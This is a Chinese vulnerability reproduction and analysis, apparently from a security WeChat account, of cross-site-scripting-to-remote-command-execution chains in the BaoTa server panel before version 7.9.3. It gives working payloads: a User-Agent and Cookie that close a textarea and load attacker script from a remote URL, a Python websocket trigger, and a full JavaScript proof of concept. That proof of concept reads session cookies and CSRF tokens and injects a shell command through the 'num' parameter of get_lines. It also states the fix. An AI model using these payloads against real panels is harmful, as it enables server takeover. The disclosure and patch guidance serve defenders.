前言:该RCE与历史漏洞相似,同样是XSS到RCE,全文所有漏洞均已在最新版7.9.3修复,RCE1和2影响范围<7.9.2,RCE3影响范围 <7.9.3,修复方式就是把版本直接更新到最新版7.9.3即可,如果对业务有影响不能更新的话就把日志记录的时候过滤下XSS即可
准备工作:
找到网站名
JS payload
复现过程:
此时的wwwroot目录下面是没有文件的
发包
User-Agent: </tExtArEa>”><script src=http://URL/1.js></script>
点击网站日志
成功RCE
原理分析:
这里我用的环境是7.9.1版
目前的官网最新版也是7.9.1版本
复现流程可以看出来是xss+后台RCE的组合拳
首先是xss,我们可以看到日志可以成功用</textarea>闭合,然后就是经典的script src
分析源码,看看宝塔是如何读取日志的
这里有一个getsitelogs函数,其中获取了网站的日志路径,然后传进了GetNumLines函数,跟进去如下
函数里面语句较多,但是并没有任何的过滤
然后returnMsg直接return回来
其中日志是由nginx保存的,宝塔读取日志数据并return回来,无任何过滤,加上拼接,即可造成xss
那么如何扩大危害造成rce呢?宝塔其中有一个getlines函数如下
注意一个函数,ExecShell,其中使用了subprocess.Popen执行了命令,这也是Py自带的执行命令函数,我们可以看到全程也是无过滤的
那么我们转回来看getline函数
先判断了传来的filename存不存在,不存在就return,如果存在的话就往下进行拼接num和filename,所以我们就知道了怎么可以rce,传一个必定存在的filename,然后num执行命令就可以了,但因为这是在后台,所以需要xss+csrf配合触发
RCE2:
原理基本一样,不过我们要让他报错,在后面目录输入报错语句强制报错
http://124.222.155.156/ÑÞ:wJ</textarea><script>alert(1)</script>
同RCE1,这里直接取了错误日志
RCE3:
复现过程:
这个点与网站日志一样,也是有两个RCE的方式,不过触发点一样就当成一个写了,我发现宝塔本身也有两个日志,运行和报错,但报错日志是记录在运行日志当中的,而爱民哥发现的是用websockets传参,该方法比我的方式要更好一些
利用报错(插入cookie后点击宝塔运行日志)
POST /login HTTP/1.1
Host: 124.222.155.156:8888
Content-Length: 298
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryDf2OV8B1vndXw2kE
Accept: */*
Origin: http://124.222.155.156:8888
Referer: http://124.222.155.156:8888/4da4fb73/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie:/ÑÞ:wJ</textarea><script>alert(1)</script>%7B%22status%22%3Atrue%2C%22msg%22%3A%22%u83B7%u53D6%u6210%u529F%21%22%2C%22data%22%3A%7B%22username%22%3A%22183****2354%22%7D%7D; config-tab=0; d83ead85f6a5e78d01786d2425d0944a=06c2e402-41be-4aea-8183-cb26a85b31c3.Q5M8TQT6Ez-ePm-x8dO3SJ4kUBQ
Connection: close
------WebKitFormBoundaryDf2OV8B1vndXw2kE
Content-Disposition: form-data; name="username"
c4ca4238a0b923820dcc509a6f75849b
------WebKitFormBoundaryDf2OV8B1vndXw2kE
Content-Disposition: form-data; name="password"
2e960237cb9186c02546fe2b1cdce087
------WebKitFormBoundaryDf2OV8B1vndXw2kE--
这个没有深入分析,X了一次我就没管了,因为爱民哥的方法要比我的好很多,所以可能有误,或者是之前X的没有清理干净
源码漏洞点
基本上只要能X进来就能R了
然后是爱民哥发现的精简法
运行脚本(回显400即可)
然后点击
成功RCE
这是面板日志获取的方式
我们用websocket协议进行传参
import asyncio
import websockets
async def hello():
async with websockets.connect("ws://URL:端口/</pre><script>alert(1)</script><pre
style="display:none">") as websocket:
await websocket.send("")
await websocket.recv()
asyncio.run(hello())
全部JSPOC
//JQuery preload (optional)
(function(){
var s = document.createElement('script');s.type = 'text/javascript';s.async = true;s.src = 'https://code.jquery.com/jquery-2.1.4.min.js';
(document.getElementsByTagName('head')[0]||document.getElementsByTagName('body')[0]).appendChild(s);
})();
// cookie
let cookies = document.cookie;
function getCookie(sKey) {
if (!sKey) { return null; }
return decodeURIComponent(document.cookie.replace(new RegExp("(?:(?:^|.*;)\s*" +encodeURIComponent(sKey).replace(/[-.+*]/g, "\$&") +"\s*\=\s*([^;]*).*$)|^.*$"), "$1")) || null;
}
all_headers ={
"Accept":"*/*",
"X-Requested-With":"XMLHttpRequest",
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36",
"Connection":"close",
"Accept-Encoding":"gzip, deflate",
"dnt":"1",
"sec-gpc":"1",
"Cookie": cookies,
"x-cookie-token": getCookie('request_token'),
"Accept-Language":"zh-CN,zh;q=0.9,en;q=0.8",
"x-http-token": $('#request_token_head').attr('token'),
"Content-Type":"application/x-www-form-urlencoded;charset=UTF-8"
}
$.ajax({
url: "/ajax",
type: "get",
data:
{"action":"get_lines","filename":"/etc","num":"|echo 'BT RCE
test ZAC'> /www/wwwroot/1.txt|"}
,
headers: all_headers,
success: function (data) {
console.info(data);
}
});
感谢以下几位大佬的帮助:丞相,孙爱民,H0ly,可笑,广
宣传页
ZAC安全
本人微信:zacaq999
文章内容如有任何错误或者对不上号的,可以加我微信,感谢各位大佬们的指点
知识星球(安全宝典)欢迎所有大佬通过投稿文章的方式免费进入~
原文始发于微信公众号(ZAC安全):宝塔前台RCE复现+分析(1click)